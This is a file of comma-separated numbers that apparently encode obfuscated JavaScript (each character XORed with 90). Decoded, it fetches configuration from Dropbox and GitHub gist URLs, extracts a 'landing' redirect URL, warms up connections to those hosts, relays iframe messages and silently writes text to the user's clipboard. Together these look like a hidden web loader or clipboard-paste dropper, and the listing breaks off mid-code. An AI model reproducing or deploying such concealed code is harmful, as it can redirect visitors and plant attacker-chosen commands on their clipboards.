113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,55,59,51,52,15,40,54,115,122,40,63,46,47,40,52,122,62,53,55,59,51,52,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,47,40,54,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,15,8,22,114,47,40,54,115,116,53,40,51,61,51,52,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,62,62,18,51,52,46,114,40,63,54,118,122,50,40,63,60,115,122,33,87,80,122,122,122,122,51,60,122,114,123,50,40,63,60,122,38,38,122,123,62,53,57,47,55,63,52,46,122,38,38,122,123,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,44,59,40,122,49,63,35,122,103,122,40,63,54,122,113,122,120,96,96,120,122,113,122,50,40,63,60,97,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,42,59,40,63,52,46,122,103,122,62,53,57,47,55,63,52,46,116,50,63,59,62,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,51,60,122,114,123,42,59,40,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,54,51,52,49,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,54,51,52,49,120,115,97,87,80,122,122,122,122,122,122,54,51,52,49,116,40,63,54,122,103,122,40,63,54,97,87,80,122,122,122,122,122,122,54,51,52,49,116,50,40,63,60,122,103,122,50,40,63,60,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,40,63,54,122,103,103,103,122,120,42,40,63,57,53,52,52,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,122,122,54,51,52,49,116,57,40,53,41,41,21,40,51,61,51,52,122,103,122,120,59,52,53,52,35,55,53,47,41,120,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,42,59,40,63,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,54,51,52,49,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,122,33,87,80,122,122,122,122,44,59,40,122,53,40,51,61,51,52,41,122,103,122,33,39,97,87,80,122,122,122,122,44,59,40,122,59,42,51,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,27,10,19,5,19,30,5,15,8,22,115,97,87,80,122,122,122,122,51,60,122,114,59,42,51,21,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,59,42,51,21,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,46,42,54,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,122,124,124,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,51,60,122,114,123,46,42,54,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,44,59,40,122,42,40,53,56,63,122,103,122,46,42,54,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,120,34,120,115,97,87,80,122,122,122,122,122,122,44,59,40,122,53,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,42,40,53,56,63,115,97,87,80,122,122,122,122,122,122,51,60,122,114,53,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,53,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,53,40,51,61,51,52,17,63,35,122,51,52,122,53,40,51,61,51,52,41,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,53,40,51,61,51,52,41,118,122,53,40,51,61,51,52,17,63,35,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,122,38,38,122,52,47,54,54,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,47,40,54,118,122,46,51,55,63,53,47,46,23,41,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,10,40,53,55,51,41,63,114,60,47,52,57,46,51,53,52,122,114,40,63,41,53,54,44,63,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,46,35,42,63,53,60,122,60,63,46,57,50,122,123,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,60,51,52,51,41,50,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,122,122,44,59,40,122,46,51,55,63,40,122,103,122,52,47,54,54,97,87,80,122,122,122,122,122,122,44,59,40,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,122,122,60,47,52,57,46,51,53,52,122,62,53,52,63,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,51,41,50,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,60,51,52,51,41,50,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,51,55,63,40,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,40,115,97,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,114,44,59,54,47,63,122,38,38,122,120,120,115,116,46,40,51,55,114,115,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,122,123,103,103,122,120,47,52,62,63,60,51,52,63,62,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,63,45,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,114,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,46,51,55,63,40,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,57,53,52,46,40,53,54,54,63,40,115,122,57,53,52,46,40,53,54,54,63,40,116,59,56,53,40,46,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,39,118,122,46,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,122,122,122,122,60,63,46,57,50,114,47,40,54,118,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,118,87,80,122,122,122,122,122,122,122,122,122,122,57,40,63,62,63,52,46,51,59,54,41,96,122,120,53,55,51,46,120,118,87,80,122,122,122,122,122,122,122,122,122,122,41,51,61,52,59,54,96,122,57,53,52,46,40,53,54,54,63,40,122,101,122,57,53,52,46,40,53,54,54,63,40,116,41,51,61,52,59,54,122,96,122,44,53,51,62,122,106,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,42,53,52,41,63,122,101,122,40,63,41,42,53,52,41,63,116,46,63,34,46,114,115,122,96,122,120,120,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,46,63,34,46,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,40,35,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,46,63,34,46,122,123,103,103,122,120,41,46,40,51,52,61,120,122,38,38,122,123,46,63,34,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,46,40,35,122,33,122,45,51,52,62,53,45,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,51,60,122,114,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,122,124,124,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,115,122,33,87,80,122,122,122,122,122,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,114,46,63,34,46,115,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,46,59,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,46,63,34,46,59,40,63,59,120,115,97,87,80,122,122,122,122,122,122,46,59,116,44,59,54,47,63,122,103,122,46,63,34,46,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,40,63,59,62,53,52,54,35,120,118,122,120,40,63,59,62,53,52,54,35,120,115,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,42,53,41,51,46,51,53,52,122,103,122,120,60,51,34,63,62,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,54,63,60,46,122,103,122,120,119,99,99,99,99,42,34,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,46,53,42,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,122,122,46,40,35,122,33,122,46,59,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,46,59,116,41,63,54,63,57,46,114,115,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,9,63,54,63,57,46,51,53,52,8,59,52,61,63,114,106,118,122,46,59,116,44,59,54,47,63,116,54,63,52,61,46,50,115,97,87,80,122,122,122,122,122,122,62,53,57,47,55,63,52,46,116,63,34,63,57,25,53,55,55,59,52,62,114,120,57,53,42,35,120,115,97,87,80,122,122,122,122,122,122,51,60,122,114,46,59,116,42,59,40,63,52,46,20,53,62,63,115,122,46,59,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,122,33,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,59,46,59,122,103,122,63,44,63,52,46,122,124,124,122,63,44,63,52,46,116,62,59,46,59,97,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,51,60,40,59,55,63,122,38,38,122,123,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,41,53,47,40,57,63,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,63,44,63,52,46,116,41,53,47,40,57,63,122,123,103,103,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,60,40,59,55,63,119,40,63,59,62,35,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,